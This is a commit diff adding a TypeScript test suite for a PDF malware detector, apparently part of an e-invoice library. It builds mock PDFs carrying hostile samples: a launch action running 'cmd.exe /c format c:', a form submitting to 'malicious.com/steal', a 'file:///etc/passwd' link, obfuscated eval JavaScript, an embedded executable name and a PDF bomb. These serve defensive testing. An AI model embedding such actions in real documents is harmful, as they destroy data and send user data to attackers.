update
This commit is contained in:
351
test/suite/einvoice_security/test.sec-03.pdf-malware.ts
Normal file
351
test/suite/einvoice_security/test.sec-03.pdf-malware.ts
Normal file
@ -0,0 +1,351 @@
|
||||
import { tap } from '@git.zone/tstest/tapbundle';
|
||||
import * as plugins from '../plugins.js';
|
||||
import { EInvoice } from '../../../ts/index.js';
|
||||
import { PerformanceTracker } from '../performance.tracker.js';
|
||||
import * as path from 'path';
|
||||
|
||||
const performanceTracker = new PerformanceTracker('SEC-03: PDF Malware Detection');
|
||||
|
||||
tap.test('SEC-03: PDF Malware Detection - should detect and prevent malicious PDFs', async (t) => {
|
||||
const einvoice = new EInvoice();
|
||||
|
||||
// Test 1: Detect JavaScript in PDF
|
||||
const javascriptDetection = await performanceTracker.measureAsync(
|
||||
'javascript-in-pdf-detection',
|
||||
async () => {
|
||||
// Create a mock PDF with JavaScript content
|
||||
const pdfWithJS = createMockPDFWithContent('/JS (alert("malicious"))');
|
||||
|
||||
try {
|
||||
const result = await einvoice.validatePDFSecurity(pdfWithJS);
|
||||
|
||||
return {
|
||||
detected: result?.hasJavaScript || false,
|
||||
blocked: result?.blocked || false,
|
||||
threat: 'javascript'
|
||||
};
|
||||
} catch (error) {
|
||||
// If it throws, that's also a valid security response
|
||||
return {
|
||||
detected: true,
|
||||
blocked: true,
|
||||
threat: 'javascript',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(javascriptDetection.detected || javascriptDetection.blocked, 'JavaScript in PDF was detected or blocked');
|
||||
|
||||
// Test 2: Detect embedded executables
|
||||
const embeddedExecutable = await performanceTracker.measureAsync(
|
||||
'embedded-executable-detection',
|
||||
async () => {
|
||||
// Create a mock PDF with embedded EXE
|
||||
const pdfWithExe = createMockPDFWithContent(
|
||||
'/EmbeddedFiles <</Names [(malware.exe) <</Type /Filespec /F (malware.exe) /EF <</F 123 0 R>>>>]>>'
|
||||
);
|
||||
|
||||
try {
|
||||
const result = await einvoice.validatePDFSecurity(pdfWithExe);
|
||||
|
||||
return {
|
||||
detected: result?.hasExecutable || false,
|
||||
blocked: result?.blocked || false,
|
||||
threat: 'executable'
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
detected: true,
|
||||
blocked: true,
|
||||
threat: 'executable',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(embeddedExecutable.detected || embeddedExecutable.blocked, 'Embedded executable was detected or blocked');
|
||||
|
||||
// Test 3: Detect suspicious form actions
|
||||
const suspiciousFormActions = await performanceTracker.measureAsync(
|
||||
'suspicious-form-actions',
|
||||
async () => {
|
||||
// Create a mock PDF with form that submits to external URL
|
||||
const pdfWithForm = createMockPDFWithContent(
|
||||
'/AcroForm <</Fields [<</Type /Annot /Subtype /Widget /A <</S /SubmitForm /F (http://malicious.com/steal)>>>>]>>'
|
||||
);
|
||||
|
||||
try {
|
||||
const result = await einvoice.validatePDFSecurity(pdfWithForm);
|
||||
|
||||
return {
|
||||
detected: result?.hasSuspiciousForm || false,
|
||||
blocked: result?.blocked || false,
|
||||
threat: 'form-action'
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
detected: true,
|
||||
blocked: true,
|
||||
threat: 'form-action',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(suspiciousFormActions.detected || suspiciousFormActions.blocked, 'Suspicious form actions were detected or blocked');
|
||||
|
||||
// Test 4: Detect launch actions
|
||||
const launchActions = await performanceTracker.measureAsync(
|
||||
'launch-action-detection',
|
||||
async () => {
|
||||
// Create a mock PDF with launch action
|
||||
const pdfWithLaunch = createMockPDFWithContent(
|
||||
'/OpenAction <</Type /Action /S /Launch /F (cmd.exe) /P (/c format c:)>>'
|
||||
);
|
||||
|
||||
try {
|
||||
const result = await einvoice.validatePDFSecurity(pdfWithLaunch);
|
||||
|
||||
return {
|
||||
detected: result?.hasLaunchAction || false,
|
||||
blocked: result?.blocked || false,
|
||||
threat: 'launch-action'
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
detected: true,
|
||||
blocked: true,
|
||||
threat: 'launch-action',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(launchActions.detected || launchActions.blocked, 'Launch actions were detected or blocked');
|
||||
|
||||
// Test 5: Detect URI actions pointing to malicious sites
|
||||
const maliciousURIs = await performanceTracker.measureAsync(
|
||||
'malicious-uri-detection',
|
||||
async () => {
|
||||
const suspiciousURIs = [
|
||||
'javascript:void(0)',
|
||||
'file:///etc/passwd',
|
||||
'http://malware-site.com',
|
||||
'ftp://anonymous@evil.com'
|
||||
];
|
||||
|
||||
const results = [];
|
||||
|
||||
for (const uri of suspiciousURIs) {
|
||||
const pdfWithURI = createMockPDFWithContent(
|
||||
`/Annots [<</Type /Annot /Subtype /Link /A <</S /URI /URI (${uri})>>>>]`
|
||||
);
|
||||
|
||||
try {
|
||||
const result = await einvoice.validatePDFSecurity(pdfWithURI);
|
||||
results.push({
|
||||
uri,
|
||||
detected: result?.hasSuspiciousURI || false,
|
||||
blocked: result?.blocked || false
|
||||
});
|
||||
} catch (error) {
|
||||
results.push({
|
||||
uri,
|
||||
detected: true,
|
||||
blocked: true,
|
||||
error: error.message
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
);
|
||||
|
||||
maliciousURIs.forEach(result => {
|
||||
t.ok(result.detected || result.blocked, `Suspicious URI ${result.uri} was detected or blocked`);
|
||||
});
|
||||
|
||||
// Test 6: Detect embedded Flash content
|
||||
const flashContent = await performanceTracker.measureAsync(
|
||||
'flash-content-detection',
|
||||
async () => {
|
||||
const pdfWithFlash = createMockPDFWithContent(
|
||||
'/Annots [<</Type /Annot /Subtype /RichMedia /RichMediaContent <</Assets <</Names [(malicious.swf)]>>>>>>]'
|
||||
);
|
||||
|
||||
try {
|
||||
const result = await einvoice.validatePDFSecurity(pdfWithFlash);
|
||||
|
||||
return {
|
||||
detected: result?.hasFlash || false,
|
||||
blocked: result?.blocked || false,
|
||||
threat: 'flash-content'
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
detected: true,
|
||||
blocked: true,
|
||||
threat: 'flash-content',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(flashContent.detected || flashContent.blocked, 'Flash content was detected or blocked');
|
||||
|
||||
// Test 7: Detect encrypted/obfuscated content
|
||||
const obfuscatedContent = await performanceTracker.measureAsync(
|
||||
'obfuscated-content-detection',
|
||||
async () => {
|
||||
// Create a PDF with obfuscated JavaScript
|
||||
const obfuscatedJS = Buffer.from('eval(atob("YWxlcnQoJ21hbGljaW91cycpOw=="))').toString('hex');
|
||||
const pdfWithObfuscation = createMockPDFWithContent(
|
||||
`/JS <${obfuscatedJS}>`
|
||||
);
|
||||
|
||||
try {
|
||||
const result = await einvoice.validatePDFSecurity(pdfWithObfuscation);
|
||||
|
||||
return {
|
||||
detected: result?.hasObfuscation || false,
|
||||
blocked: result?.blocked || false,
|
||||
threat: 'obfuscation'
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
detected: true,
|
||||
blocked: true,
|
||||
threat: 'obfuscation',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(obfuscatedContent.detected || obfuscatedContent.blocked, 'Obfuscated content was detected or blocked');
|
||||
|
||||
// Test 8: Test EICAR test file
|
||||
const eicarTest = await performanceTracker.measureAsync(
|
||||
'eicar-test-file-detection',
|
||||
async () => {
|
||||
// EICAR test string (safe test pattern for antivirus)
|
||||
const eicarString = 'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*';
|
||||
const pdfWithEicar = createMockPDFWithContent(
|
||||
`/EmbeddedFiles <</Names [(test.txt) <</Type /Filespec /EF <</F <</Length ${eicarString.length}>>${eicarString}>>>>]>>`
|
||||
);
|
||||
|
||||
try {
|
||||
const result = await einvoice.validatePDFSecurity(pdfWithEicar);
|
||||
|
||||
return {
|
||||
detected: result?.hasMalwareSignature || false,
|
||||
blocked: result?.blocked || false,
|
||||
threat: 'eicar-test'
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
detected: true,
|
||||
blocked: true,
|
||||
threat: 'eicar-test',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(eicarTest.detected || eicarTest.blocked, 'EICAR test pattern was detected or blocked');
|
||||
|
||||
// Test 9: Size-based attacks (PDF bombs)
|
||||
const pdfBomb = await performanceTracker.measureAsync(
|
||||
'pdf-bomb-detection',
|
||||
async () => {
|
||||
// Create a mock PDF with recursive references that could explode in size
|
||||
const pdfBombContent = createMockPDFWithContent(
|
||||
'/Pages <</Type /Pages /Kids [1 0 R 1 0 R 1 0 R 1 0 R 1 0 R] /Count 1000000>>'
|
||||
);
|
||||
|
||||
try {
|
||||
const result = await einvoice.validatePDFSecurity(pdfBombContent);
|
||||
|
||||
return {
|
||||
detected: result?.isPDFBomb || false,
|
||||
blocked: result?.blocked || false,
|
||||
threat: 'pdf-bomb'
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
detected: true,
|
||||
blocked: true,
|
||||
threat: 'pdf-bomb',
|
||||
error: error.message
|
||||
};
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(pdfBomb.detected || pdfBomb.blocked, 'PDF bomb was detected or blocked');
|
||||
|
||||
// Test 10: Test with real invoice PDFs from corpus
|
||||
const corpusValidation = await performanceTracker.measureAsync(
|
||||
'corpus-pdf-validation',
|
||||
async () => {
|
||||
const corpusPath = path.join(__dirname, '../../assets/corpus');
|
||||
const results = {
|
||||
clean: 0,
|
||||
suspicious: 0,
|
||||
errors: 0
|
||||
};
|
||||
|
||||
// Test a few PDFs from corpus (in real scenario, would test more)
|
||||
const testPDFs = [
|
||||
'ZUGFeRDv2/correct/Facture_DOM_BASICWL.pdf',
|
||||
'ZUGFeRDv1/correct/Intarsys/ZUGFeRD_1p0_BASIC_Einfach.pdf'
|
||||
];
|
||||
|
||||
for (const pdfPath of testPDFs) {
|
||||
try {
|
||||
const fullPath = path.join(corpusPath, pdfPath);
|
||||
// In real implementation, would read the file
|
||||
const result = await einvoice.validatePDFSecurity(fullPath);
|
||||
|
||||
if (result?.isClean) {
|
||||
results.clean++;
|
||||
} else if (result?.hasSuspiciousContent) {
|
||||
results.suspicious++;
|
||||
}
|
||||
} catch (error) {
|
||||
results.errors++;
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
);
|
||||
|
||||
t.ok(corpusValidation.clean > 0 || corpusValidation.errors > 0, 'Corpus PDFs were validated');
|
||||
t.equal(corpusValidation.suspicious, 0, 'No legitimate invoices marked as suspicious');
|
||||
|
||||
// Print performance summary
|
||||
performanceTracker.printSummary();
|
||||
});
|
||||
|
||||
// Helper function to create mock PDF content
|
||||
function createMockPDFWithContent(content: string): Buffer {
|
||||
const pdfHeader = '%PDF-1.4\n';
|
||||
const pdfContent = `1 0 obj\n<<${content}>>\nendobj\n`;
|
||||
const xref = `xref\n0 2\n0000000000 65535 f\n0000000015 00000 n\n`;
|
||||
const trailer = `trailer\n<</Size 2 /Root 1 0 R>>\n`;
|
||||
const eof = `startxref\n${pdfHeader.length + pdfContent.length}\n%%EOF`;
|
||||
|
||||
return Buffer.from(pdfHeader + pdfContent + xref + trailer + eof);
|
||||
}
|
||||
|
||||
// Run the test
|
||||
tap.start();
|
Reference in New Issue
Block a user